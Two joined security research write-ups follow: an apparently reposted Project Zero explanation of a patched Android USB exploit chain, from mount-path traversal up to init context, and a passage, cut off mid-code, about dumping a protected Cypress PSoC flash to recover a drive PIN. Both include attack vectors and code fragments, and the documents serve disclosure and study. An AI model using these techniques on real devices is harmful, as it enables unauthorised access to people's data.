OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB

( origin  by Jann Horn, Google Project Zero )

Recently, there has been some attention around the topic of physical attacks on smartphones, where an attacker with the ability to connect USB devices to a locked phone attempts to gain access to the data stored on the device. This blogpost describes how such an attack could have been performed against Android devices (tested with a Pixel 2).

 

After an Android phone has been unlocked once on boot (on newer devices, using the «Unlock for all features and data» screen; on older devices, using the «To start Android, enter your password» screen), it retains the encryption keys used to decrypt files in kernel memory even when the screen is locked, and the encrypted filesystem areas or partition(s) stay accessible. Therefore, an attacker who gains the ability to execute code on a locked device in a sufficiently privileged context can not only backdoor the device, but can also directly access user data.
(Caveat: We have not looked into what happens to work profile data when a user who has a work profile toggles off the work profile.)

 

The bug reports referenced in this blogpost, and the corresponding proof-of-concept code, are available at:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 («directory traversal over USB via injection in blkid output»)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1590 («privesc zygote->init; chain from USB»)

 

These issues were fixed as CVE-2018-9445 (fixed at patch level 2018-08-01) and CVE-2018-9488 (fixed at patch level 2018-09-01).

The attack surface

Many Android phones support USB host mode (often using OTG adapters). This allows phones to connect to many types of USB devices (this list isn’t necessarily complete):

 

  • USB sticks: When a USB stick is inserted into an Android phone, the user can copy files between the system and the USB stick. Even if the device is locked, Android versions before P will still attempt to mount the USB stick. (Android 9, which was released after these issues were reported, has logic in vold that blocks mounting USB sticks while the device is locked.)
  • USB keyboards and mice: Android supports using external input devices instead of using the touchscreen. This also works on the lockscreen (e.g. for entering the PIN).
  • USB ethernet adapters: When a USB ethernet adapter is connected to an Android phone, the phone will attempt to connect to a wired network, using DHCP to obtain an IP address. This also works if the phone is locked.

 

This blogpost focuses on USB sticks. Mounting an untrusted USB stick offers nontrivial attack surface in highly privileged system components: The kernel has to talk to the USB mass storage device using a protocol that includes a subset of SCSI, parse its partition table, and interpret partition contents using the kernel’s filesystem implementation; userspace code has to identify the filesystem type and instruct the kernel to mount the device to some location. On Android, the userspace implementation for this is mostly in vold(one of the processes that are considered to have kernel-equivalent privileges), which uses separate processes in restrictive SELinux domains to e.g. determine the filesystem types of partitions on USB sticks.

 

The bug (part 1): Determining partition attributes

When a USB stick has been inserted and vold has determined the list of partitions on the device, it attempts to identify three attributes of each partition: Label (a user-readable string describing the partition), UUID (a unique identifier that can be used to determine whether the USB stick is one that has been inserted into the device before), and filesystem type. In the modern GPT partitioning scheme, these attributes can mostly be stored in the partition table itself; however, USB sticks tend to use the MBR partition scheme instead, which can not store UUIDs and labels. For normal USB sticks, Android supports both the MBR partition scheme and the GPT partition scheme.

 

To provide the ability to label partitions and assign UUIDs to them even when the MBR partition scheme is used, filesystems implement a hack: The filesystem header contains fields for these attributes, allowing an implementation that has already determined the filesystem type and knows the filesystem header layout of the specific filesystem to extract this information in a filesystem-specific manner. When vold wants to determine label, UUID and filesystem type, it invokes /system/bin/blkid in the blkid_untrusted SELinux domain, which does exactly this: First, it attempts to identify the filesystem type using magic numbers and (failing that) some heuristics, and then, it extracts the label and UUID. It prints the results to stdout in the following format:

 

/dev/block/sda1: LABEL=»<label>» UUID=»<uuid>» TYPE=»<type>»

 

However, the version of blkid used by Android did not escape the label string, and the code responsible for parsing blkid’s output only scanned for the first occurrences of UUID=» and TYPE=». Therefore, by creating a partition with a crafted label, it was possible to gain control over the UUID and type strings returned to vold, which would otherwise always be a valid UUID string and one of a fixed set of type strings.

The bug (part 2): Mounting the filesystem

When vold has determined that a newly inserted USB stick with an MBR partition table contains a partition of type vfat that the kernel’s vfat filesystem implementation should be able to mount,PublicVolume::doMount() constructs a mount path based on the filesystem UUID, then attempts to ensure that the mountpoint directory exists and has appropriate ownership and mode, and then attempts to mount over that directory:

 

   if (mFsType != «vfat») {
       LOG(ERROR) << getId() << » unsupported filesystem » << mFsType;
       return -EIO;
   }
   if (vfat::Check(mDevPath)) {
       LOG(ERROR) << getId() << » failed filesystem check»;
       return -EIO;
   }
   // Use UUID as stable name, if available
   std::string stableName = getId();
   if (!mFsUuid.empty()) {
       stableName = mFsUuid;
   }
   mRawPath = StringPrintf(«/mnt/media_rw/%s», stableName.c_str());
   […]
   if (fs_prepare_dir(mRawPath.c_str(), 0700, AID_ROOT, AID_ROOT)) {
       PLOG(ERROR) << getId() << » failed to create mount points»;
       return -errno;
   }
   if (vfat::Mount(mDevPath, mRawPath, false, false, false,
           AID_MEDIA_RW, AID_MEDIA_RW, 0007, true)) {
       PLOG(ERROR) << getId() << » failed to mount » << mDevPath;
       return -EIO;
   }

 

The mount path is determined using a format string, without any sanity checks on the UUID string that was provided by blkid. Therefore, an attacker with control over the UUID string can perform a directory traversal attack and cause the FAT filesystem to be mounted outside of /mnt/media_rw.

 

This means that if an attacker inserts a USB stick with a FAT filesystem whose label string is ‘UUID=»../##’ into a locked phone, the phone will mount that USB stick to /mnt/##.

 

However, this straightforward implementation of the attack has several severe limitations; some of them can be overcome, others worked around:

 

  • Label string length: A FAT filesystem label is limited to 11 bytes. An attacker attempting to perform a straightforward attack needs to use the six bytes ‘UUID=»‘ to start the injection, which leaves only five characters for the directory traversal — insufficient to reach any interesting point in the mount hierarchy. The next section describes how to work around that.
  • SELinux restrictions on mountpoints: Even though vold is considered to be kernel-equivalent, a SELinux policy applies some restrictions on what vold can do. Specifically, the mountonpermission is restricted to a set of permitted labels.
  • Writability requirement: fs_prepare_dir() fails if the target directory is not mode 0700 and chmod() fails.
  • Restrictions on access to vfat filesystems: When a vfat filesystem is mounted, all of its files are labeled as u:object_r:vfat:s0. Even if the filesystem is mounted in a place from which important code or data is loaded, many SELinux contexts won’t be permitted to actually interact with the filesystem — for example, the zygote and system_server aren’t allowed to do so. On top of that, processes that don’t have sufficient privileges to bypass DAC checks also need to be in the media_rw group. The section «Dealing with SELinux: Triggering the bug twice» describes how these restrictions can be avoided in the context of this specific bug.

Exploitation: Chameleonic USB mass storage

As described in the previous section, a FAT filesystem label is limited to 11 bytes. blkid supports a range of other filesystem types that have significantly longer label strings, but if you used such a filesystem type, you’d then have to make it past the fsck check for vfat filesystems and the filesystem header checks performed by the kernel when mounting a vfat filesystem. The vfat kernel filesystem doesn’t require a fixed magic value right at the start of the partition, so this might theoretically work somehow; however, because several of the values in a FAT filesystem header are actually important for the kernel, and at the same time,blkid also performs some sanity checks on superblocks, the PoC takes a different route.

 

After blkid has read parts of the filesystem and used them to determine the filesystem’s type, label and UUID, fsck_msdos and the in-kernel filesystem implementation will re-read the same data, and those repeated reads actually go through to the storage device. The Linux kernel caches block device pages when userspace directly interacts with block devices, but __blkdev_put() removes all cached data associated with a block device when the last open file referencing the device is closed.

 

A physical attacker can abuse this by attaching a fake storage device that returns different data for multiple reads from the same location. This allows us to present, for example, a romfs header with a long label string to blkid while presenting a perfectly normal vfat filesystem to fsck_msdos and the in-kernel filesystem implementation.

 

This is relatively simple to implement in practice thanks to Linux’ built-in support for device-side USB.Andrzej Pietrasiewicz’s talk «Make your own USB gadget» is a useful introduction to this topic. Basically, the kernel ships with implementations for device-side USB mass storage, HID devices, ethernet adapters, and more; using a relatively simple pseudo-filesystem-based configuration interface, you can configure a composite gadget that provides one or multiple of these functions, potentially with multiple instances, to the connected device. The hardware you need is a system that runs Linux and supports device-side USB; for testing this attack, a Raspberry Pi Zero W was used.

 

The f_mass_storage gadget function is designed to use a normal file as backing storage; to be able to interactively respond to requests from the Android phone, a FUSE filesystem is used as backing storage instead, using the direct_io option / the FOPEN_DIRECT_IO flag to ensure that our own kernel doesn’t add unwanted caching.

 

At this point, it is already possible to implement an attack that can steal, for example, photos stored on external storage. Luckily for an attacker, immediately after a USB stick has been mounted,com.android.externalstorage/.MountReceiver is launched, which is a process whose SELinux domain permits access to USB devices. So after a malicious FAT partition has been mounted over /data (using the label string ‘UUID=»../../data’), the zygote forks off a child with appropriate SELinux context and group membership to permit accesses to USB devices. This child then loads bytecode from /data/dalvik-cache/, permitting us to take control over com.android.externalstorage, which has the necessary privileges to exfiltrate external storage contents.

 

However, for an attacker who wants to access not just photos, but things like chat logs or authentication credentials stored on the device, this level of access should normally not be sufficient on its own.

Dealing with SELinux: Triggering the bug twice

The major limiting factor at this point is that, even though it is possible to mount over /data, a lot of the highly-privileged code running on the device is not permitted to access the mounted filesystem. However, one highly-privileged service does have access to it: vold.

 

vold actually supports two types of USB sticks, PublicVolume and PrivateVolume. Up to this point, this blogpost focused on PublicVolume; from here on, PrivateVolume becomes important.
A PrivateVolume is a USB stick that must be formatted using a GUID Partition Table. It must contain a partition that has type UUID kGptAndroidExpand (193D1EA4-B3CA-11E4-B075-10604B889DCF), which contains a dm-crypt-encrypted ext4 (or f2fs) filesystem. The corresponding key is stored at/data/misc/vold/expand_{partGuid}.key, where {partGuid} is the partition GUID from the GPT table as a normalized lowercase hexstring.

 

As an attacker, it normally shouldn’t be possible to mount an ext4 filesystem this way because phones aren’t usually set up with any such keys; and even if there is such a key, you’d still have to know what the correct partition GUID is and what the key is. However, we can mount a vfat filesystem over /data/misc and put our own key there, for our own GUID. Then, while the first malicious USB mass storage device is still connected, we can connect a second one that is mounted as PrivateVolume using the keys vold will read from the first USB mass storage device. (Technically, the ordering in the last sentence isn’t entirely correct — actually, the exploit provides both mass storage devices as a single composite device at the same time, but stalls the first read from the second mass storage device to create the desired ordering.)

 

Because PrivateVolume instances use ext4, we can control DAC ownership and permissions on the filesystem; and thanks to the way a PrivateVolume is integrated into the system, we can even control SELinux labels on that filesystem.

 

In summary, at this point, we can mount a controlled filesystem over /data, with arbitrary file permissions and arbitrary SELinux contexts. Because we control file permissions and SELinux contexts, we can allow any process to access files on our filesystem — including mapping them with PROT_EXEC.

Injecting into zygote

The zygote process is relatively powerful, even though it is not listed as part of the TCB. By design, it runs with UID 0, can arbitrarily change its UID, and can perform dynamic SELinux transitions into the SELinux contexts of system_server and normal apps. In other words, the zygote has access to almost all user data on the device.

 

When the 64-bit zygote starts up on system boot, it loads code from /data/dalvik-cache/arm64/system@framework@boot*.{art,oat,vdex}. Normally, the oat file (which contains an ELF library that will be loaded with dlopen()) and the vdex file are symlinks to files on the immutable/system partition; only the art file is actually stored on /data. But we can instead makesystem@framework@boot.art and system@framework@boot.vdex symlinks to /system (to get around some consistency checks without knowing exactly which Android build is running on the device) while placing our own malicious ELF library at system@framework@boot.oat (with the SELinux context that the legitimate oat file would have). Then, by placing a function with__attribute__((constructor)) in our ELF library, we can get code execution in the zygote as soon as it calls dlopen() on startup.

 

The missing step at this point is that when the attack is performed, the zygote is already running; and this attack only works while the zygote is starting up.

Crashing the system

This part is a bit unpleasant.

 

When a critical system component (in particular, the zygote or system_server) crashes (which you can simulate on an eng build using kill), Android attempts to automatically recover from the crash by restarting most userspace processes (including the zygote). When this happens, the screen first shows the boot animation for a bit, followed by the lock screen with the «Unlock for all features and data» prompt that normally only shows up after boot. However, the key material for accessing user data is still present at this point, as you can verify if ADB is on by running «ls /sdcard» on the device.

 

This means that if we can somehow crash system_server, we can then inject code into the zygote during the following userspace restart and will be able to access user data on the device.

 

Of course, mounting our own filesystem over /data is very crude and makes all sorts of things fail, but surprisingly, the system doesn’t immediately fall over — while parts of the UI become unusable, most places have some error handling that prevents the system from failing so clearly that a restart happens.
After some experimentation, it turned out that Android’s code for tracking bandwidth usage has a safety check: If the network usage tracking code can’t write to disk and >=2MiB (mPersistThresholdBytes) of network traffic have been observed since the last successful write, a fatal exception is thrown. This means that if we can create some sort of network connection to the device and then send it >=2MiB worth of ping flood, then trigger a stats writeback by either waiting for a periodic writeback or changing the state of a network interface, the device will reboot.

 

To create a network connection, there are two options:

 

  • Connect to a wifi network. Before Android 9, even when the device is locked, it is normally possible to connect to a new wifi network by dragging down from the top of the screen, tapping the drop-down below the wifi symbol, then tapping on the name of an open wifi network. (This doesn’t work for networks protected with WPA, but of course an attacker can make their own wifi network an open one.) Many devices will also just autoconnect to networks with certain names.
  • Connect to an ethernet network. Android supports USB ethernet adapters and will automatically connect to ethernet networks.

 

For testing the exploit, a manually-created connection to a wifi network was used; for a more reliable and user-friendly exploit, you’d probably want to use an ethernet connection.

 

At this point, we can run arbitrary native code in zygote context and access user data; but we can’t yet read out the raw disk encryption key, directly access the underlying block device, or take a RAM dump (although at this point, half the data that would’ve been in a RAM dump is probably gone anyway thanks to the system crash). If we want to be able to do those things, we’ll have to escalate our privileges a bit more.

From zygote to vold

Even though the zygote is not supposed to be part of the TCB, it has access to the CAP_SYS_ADMINcapability in the initial user namespace, and the SELinux policy permits the use of this capability. The zygote uses this capability for the mount() syscall and for installing a seccomp filter without setting theNO_NEW_PRIVS flag. There are multiple ways to abuse CAP_SYS_ADMIN; in particular, on the Pixel 2, the following ways seem viable:

 

  • You can install a seccomp filter without NO_NEW_PRIVS, then perform an execve() with a privilege transition (SELinux exec transition, setuid/setgid execution, or execution with permitted file capability set). The seccomp filter can then force specific syscalls to fail with error number 0 — which e.g. in the case of open() means that the process will believe that the syscall succeeded and allocated file descriptor 0. This attack works here, but is a bit messy.
  • You can instruct the kernel to use a file you control as high-priority swap device, then create memory pressure. Once the kernel writes stack or heap pages from a sufficiently privileged process into the swap file, you can edit the swapped-out memory, then let the process load it back. Downsides of this technique are that it is very unpredictable, it involves memory pressure (which could potentially cause the system to kill processes you want to keep, and probably destroys many forensic artifacts in RAM), and requires some way to figure out which swapped-out pages belong to which process and are used for what. This requires the kernel to support swap.
  • You can use pivot_root() to replace the root directory of either the current mount namespace or a newly created mount namespace, bypassing the SELinux checks that would have been performed for mount(). Doing it for a new mount namespace is useful if you only want to affect a child process that elevates its privileges afterwards. This doesn’t work if the root filesystem is a rootfs filesystem. This is the technique used here.

 

In recent Android versions, the mechanism used to create dumps of crashing processes has changed: Instead of asking a privileged daemon to create a dump, processes execute one of the helpers/system/bin/crash_dump64 and /system/bin/crash_dump32, which have the SELinux labelu:object_r:crash_dump_exec:s0. Currently, when a file with such a label is executed by any SELinux domain, an automatic domain transition to the crash_dump domain is triggered (which automatically implies setting the AT_SECURE flag in the auxiliary vector, instructing the linker of the new process to be careful with environment variables like LD_PRELOAD):

 

domain_auto_trans(domain, crash_dump_exec, crash_dump);

 

At the time this bug was reported, the crash_dump domain had the following SELinux policy:

 

[…]
allow crash_dump {
 domain
 -init
 -crash_dump
 -keystore
 -logd
}:process { ptrace signal sigchld sigstop sigkill };
[…]
r_dir_file(crash_dump, domain)
[…]

 

This policy permitted crash_dump to attach to processes in almost any domain via ptrace() (providing the ability to take over the process if the DAC controls permit it) and allowed it to read properties of any process in procfs. The exclusion list for ptrace access lists a few TCB processes; but notably, vold was not on the list. Therefore, if we can execute crash_dump64 and somehow inject code into it, we can then take overvold.

 

Note that the ability to actually ptrace() a process is still gated by the normal Linux DAC checks, andcrash_dump can’t use CAP_SYS_PTRACE or CAP_SETUID. If a normal app managed to inject code intocrash_dump64, it still wouldn’t be able to leverage that to attack system components because of the UID mismatch.

 

If you’ve been reading carefully, you might now wonder whether we could just place our own binary with context u:object_r:crash_dump_exec:s0 on our fake /data filesystem, and then execute that to gain code execution in the crash_dump domain. This doesn’t work because vold — very sensibly — hardcodes theMS_NOSUID flag when mounting USB storage devices, which not only degrades the execution of classic setuid/setgid binaries, but also degrades the execution of files with file capabilities and executions that would normally involve automatic SELinux domain transitions (unless the SELinux policy explicitly opts out of this behavior by granting PROCESS2__NOSUID_TRANSITION).

 

To inject code into crash_dump64, we can create a new mount namespace with unshare() (using ourCAP_SYS_ADMIN capability), then call pivot_root() to point the root directory of our process into a directory we fully control, and then execute crash_dump64. Then the kernel parses the ELF headers ofcrash_dump64, reads the path to the linker (/system/bin/linker64), loads the linker into memory from that path (relative to the process root, so we can supply our own linker here), and executes it.

 

At this point, we can execute arbitrary code in crash_dump context and escalate into vold from there, compromising the TCB. At this point, Android’s security policy considers us to have kernel-equivalent privileges; however, to see what you’d have to do from here to gain code execution in the kernel, this blogpost goes a bit further.

From vold to init context

It doesn’t look like there is an easy way to get from vold into the real init process; however, there is a way into the init SELinux context. Looking through the SELinux policy for allowed transitions into init context, we find the following policy:

 

domain_auto_trans(kernel, init_exec, init)

 

This means that if we can get code running in kernel context to execute a file we control labeled init_exec, on a filesystem that wasn’t mounted with MS_NOSUID, then our file will be executed in init context.

 

The only code that is running in kernel context is the kernel, so we have to get the kernel to execute the file for us. Linux has a mechanism called «usermode helpers» that can do this: Under some circumstances, the kernel will delegate actions (such as creating coredumps, loading key material into the kernel, performing DNS lookups, …) to userspace code. In particular, when a nonexistent key is looked up (e.g. viarequest_key()), /sbin/request-key (hardcoded, can only be changed to a different static path at kernel build time with CONFIG_STATIC_USERMODEHELPER_PATH) will be invoked.

 

Being in vold, we can simply mount our own ext4 filesystem over /sbin without MS_NOSUID, then callrequest_key(), and the kernel invokes our request-key in init context.

 

The exploit stops at this point; however, the following section describes how you could build on it to gain code execution in the kernel.

From init context to the kernel

From init context, it is possible to transition into modprobe or vendor_modprobe context by executing an appropriately labeled file after explicitly requesting a domain transition (note that this is domain_trans(), which permits a transition on exec, not domain_auto_trans(), which automatically performs a transition on exec):

 

domain_trans(init, { rootfs toolbox_exec }, modprobe)
domain_trans(init, vendor_toolbox_exec, vendor_modprobe)

 

modprobe and vendor_modprobe have the ability to load kernel modules from appropriately labeled files:

 

allow modprobe self:capability sys_module;
allow modprobe { system_file }:system module_load;
allow vendor_modprobe self:capability sys_module;
allow vendor_modprobe { vendor_file }:system module_load;

 

Android nowadays doesn’t require signatures for kernel modules:

 

walleye:/ # zcat /proc/config.gz | grep MODULE
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODULE_SRCVERSION_ALL=y
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_ARM64_MODULE_CMODEL_LARGE=y
CONFIG_ARM64_MODULE_PLTS=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=y
CONFIG_DEBUG_SET_MODULE_RONX=y

 

Therefore, you could execute an appropriately labeled file to execute code in modprobe context, then load an appropriately labeled malicious kernel module from there.

Lessons learned

Notably, this attack crosses two weakly-enforced security boundaries: The boundary from blkid_untrusted tovold (when vold uses the UUID provided by blkid_untrusted in a pathname without checking that it resembles a valid UUID) and the boundary from the zygote to the TCB (by abusing the zygote’s CAP_SYS_ADMINcapability). Software vendors have, very rightly, been stressing for quite some time that it is important for security researchers to be aware of what is, and what isn’t, a security boundary — but it is also important for vendors to decide where they want to have security boundaries and then rigorously enforce those boundaries. Unenforced security boundaries can be of limited use — for example, as a development aid while stronger isolation is in development -, but they can also have negative effects by obfuscating how important a component is for the security of the overall system.

In this case, the weakly-enforced security boundary between vold and blkid_untrusted actually contributed to the vulnerability, rather than mitigating it. If the blkid code had run in the vold process, it would not have been necessary to serialize its output, and the injection of a fake UUID would not have worked.

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Aigo Chinese encrypted HDD − Part 2: Dumping the Cypress PSoC 1

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

TL;DR

I dumped a Cypress PSoC 1 (CY8C21434) flash memory, bypassing the protection, by doing a cold-boot stepping attack, after reversing the undocumented details of the in-system serial programming protocol (ISSP).

It allows me to dump the PIN of the hard-drive from part 1 directly:

$ ./psoc.py 
syncing:  KO  OK
[...]
PIN:  1 2 3 4 5 6 7 8 9  

Code:

Introduction

So, as we have seen in part 1, the Cypress PSoC 1 CY8C21434 microcontroller seems like a good target, as it may contain the PIN itself. And anyway, I could not find any public attack code, so I wanted to take a look at it.

Our goal is to read its internal flash memory and so, the steps we have to cover here are to:

  • manage to “talk” to the microcontroller
  • find a way to check if it is protected against external reads (most probably)
  • find a way to bypass the protection

There are 2 places where we can look for the valid PIN:

  • the internal flash memory
  • the SRAM, where it may be stored to compare it to the PIN entered by the user

ISSP Protocol

ISSP ??

“Talking” to a micro-controller can imply different things from vendor to vendor but most of them implement a way to interact using a serial protocol (ICSP for Microchip’s PIC for example).

Cypress’ own proprietary protocol is called ISSP for “in-system serial programming protocol”, and is (partially) described in its documentationUS Patent US7185162 also gives some information.

There is also an open source implemention called HSSP, which we will use later.

ISSP basically works like this:

  • reset the µC
  • output a magic number to the serial data pin of the µC to enter external programming mode
  • send commands, which are actually long strings of bits called “vectors”

The ISSP documentation only defines a handful of such vectors:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V and 5V variants)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 where dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 where DDDDDDDD = data out, aaaaaa = address (6 bits)
  • WRITE-BYTE: 10010aaaaaadddddddd111 where dddddddd = data in, aaaaaa = address (6 bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1 where DDDDDDDDDDDDDDDD = Device Checksum data out
  • ERASE BLOCK

For example, the vector for Initialize-2 is:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Each vector is 22 bits long and seem to follow some pattern. Thankfully, the HSSP doc gives us a big hint: “ISSP vector is nothing but a sequence of bits representing a set of instructions.”

Demystifying the vectors

Now, of course, we want to understand what’s going on here. At first, I thought the vectors could be raw M8C instructions, but the opcodes did not match.

Then I just googled the first vector and found this research by Ahmed Ismail which, while it does not go into much details, gives a few hints to get started: “Each instruction starts with 3 bits that select 1 out of 4 mnemonics (read RAM location, write RAM location, read register, or write register.) This is followed by the 8-bit address, then the 8-bit data read or written, and finally 3 stop bits.”

Then, reading the Techical reference manual’s section on the Supervisory ROM (SROM) is very useful. The SROM is hardcoded (ROM) in the PSoC and provides functions (like syscalls) for code running in “userland”:

  • 00h : SWBootReset
  • 01h : ReadBlock
  • 02h : WriteBlock
  • 03h : EraseBlock
  • 06h : TableRead
  • 07h : CheckSum
  • 08h : Calibrate0
  • 09h : Calibrate1

By comparing the vector names with the SROM functions, we can match the various operations supported by the protocol with the expected SROM parameters.

This gives us a decoding of the first 3 bits :

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

But to fully understand what is going on, it is better to be able to interact with the µC.

Talking to the PSoC

As Dirk Petrautzki already ported Cypress’ HSSP code on Arduino, I used an Arduino Uno to connect to the ISSP header of the keyboard PCB.

Note that over the course of my research, I modified Dirk’s code quite a lot, you can find my fork on GitHub: here, and the corresponding Python script to interact with the Arduino in my cypress_psoc_tools repository.

So, using the Arduino, I first used only the “official” vectors to interact, and in order to try to read the internal ROM using the VERIFY command. Which failed, as expected, most probably because of the flash protection bits.

I then built my own simple vectors to read/write memory/registers.

Note that we can read the whole SRAM, even though the flash is protected !

Identifying internal registers

After looking at the vector’s “disassembly”, I realized that some undocumented registers (0xF8-0xFA) were used to specify M8C opcodes to execute directly !

This allowed me to run various opcodes such as ADDMOV A,XPUSH or JMP, which, by looking at the side effects on all the registers, allowed me to identify which undocumented registers actually are the “usual” ones (AXSP and PC).

In the end, the vector’s “dissassembly” generated by HSSP_disas.rb looks like this, with comments added for clarity:

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00      # reset flags
[DE C0 1C] wrreg SP (f6), 0x00         # reset SP
[9F 07 5C] wrmem KEY1, 0x3A            # Mandatory arg for SSC
[9F 20 7C] wrmem KEY2, 0x03            # same
[DE A0 1C] wrreg PCh (f5), 0x00        # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03        # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80         # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30       # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40       # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01         # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06          # "Syscall" number : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00       # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12   # Undocumented op: execute external opcodes

Security bits

At this point, I am able to interact with the PSoC, but I need reliable information about the protection bits of the flash. I was really surprised that Cypress did not give any mean to the users to check the protection’s status. So, I dug a bit more on Google to finally realize that the HSSP code provided by Cypress was updated after Dirk’s fork.

And lo ! The following new vector appears:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00           # Unknown args
[9F E0 1C] wrmem 0xFF, 0x00           # same
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10         # Undocumented syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

By using this vector (see read_security_data in psoc.py), we get all the protection bits in SRAM at 0x80, with 2 bits per block.

The result is depressing: everything is protected in “Disable external read and write” mode ; so we cannot even write to the flash to insert a ROM dumper. The only way to reset the protection is to erase the whole chip 🙁

First (failed) attack: ROMX

However, we can try a trick: since we can execute arbitrary opcodes, why not execute ROMX, which is used to read the flash ?

The reasoning here is that the SROM ReadBlock function used by the programming vectors will verify if it is called from ISSP. However, the ROMX opcode probably has no such check.

So, in Python (after adding a few helpers in the Arduino C code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)        # A = 0
    write_reg(0xF3, i&0xFF)      # X = 0
    exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP
    byte = read_reg(0xF0)        # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0])  # print ROM byte

Unfortunately, it does not work 🙁 Or rather, it works, but we get our own opcodes (0x28 0x30 0x40) back ! I do not think it was intended as a protection, but rather as an engineering trick: when executing external opcodes, the ROM bus is rewired to a temporary buffer.

Second attack: cold boot stepping

Since ROMX did not work, I thought about using a variation of the trick described in section 3.1 of Johannes Obermaier and Stefan Tatschner’s paper: Shedding too much Light on a Microcontroller’s Firmware Protection.

Implementation

The ISSP manual give us the following CHECKSUM-SETUP vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Which is just a call to SROM function 0x07, documented as follows (emphasis mine):

The Checksum function calculates a 16-bit checksum over a user specifiable number of blocks, within a single Flash bank starting at block zero. The BLOCKID parameter is used to pass in the number of blocks to checksum. A BLOCKID value of ‘1’ will calculate the checksum of only block 0, while a BLOCKID value of ‘0’ will calculate the checksum of 256 blocks in the bank. The 16-bit checksum is returned in KEY1 and KEY2. The parameter KEY1 holds the lower 8 bits of the checksum and the parameter KEY2 holds the upper 8 bits of the checksum. For devices with multiple Flash banks, the checksum func- tion must be called once for each Flash bank. The SROM Checksum function will operate on the Flash bank indicated by the Bank bit in the FLS_PR1 register.

Note that it is an actual checksum: bytes are summed one by one, no fancy CRC here. Also, considering the extremely limited register set of the M8C core, I suspected that the checksum would be directly stored in RAM, most probably in its final location: KEY1 (0xF8) / KEY2 (0xF9).

So the final attack is, in theory:

  1. Connect using ISSP
  2. Start a checksum computation using the CHECKSUM-SETUP vector
  3. Reset the CPU after some time T
  4. Read the RAM to get the current checksum C
  5. Repeat 3. and 4., increasing T a little each time
  6. Recover the flash content by substracting consecutive checkums C

However, we have a problem: the Initialize-1 vector, which we have to send after reset, overwrites KEY1 and KEY:

1100101000000000000000                 # Magic to put the PSoC in prog mode
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A            # Checksum overwritten here
[9F 20 7C] wrmem KEY2, 0x03            # and here
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09          # SROM function 9
[DF 00 1C] wrreg opc0 (f8), 0x00       # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

But this code, overwriting our precious checksum, is just calling Calibrate1 (SROM function 9)… Maybe we can just send the magic to enter prog mode and then read the SRAM ?

And yes, it works !

The Arduino code implementing the attack is quite simple:

    case Cmnd_STK_START_CSUM:
      checksum_delay = ((uint32_t)getch())<<24;
      checksum_delay |= ((uint32_t)getch())<<16;
      checksum_delay |= ((uint32_t)getch())<<8;
      checksum_delay |= getch();
      if(checksum_delay > 10000) {
         ms_delay = checksum_delay/1000;
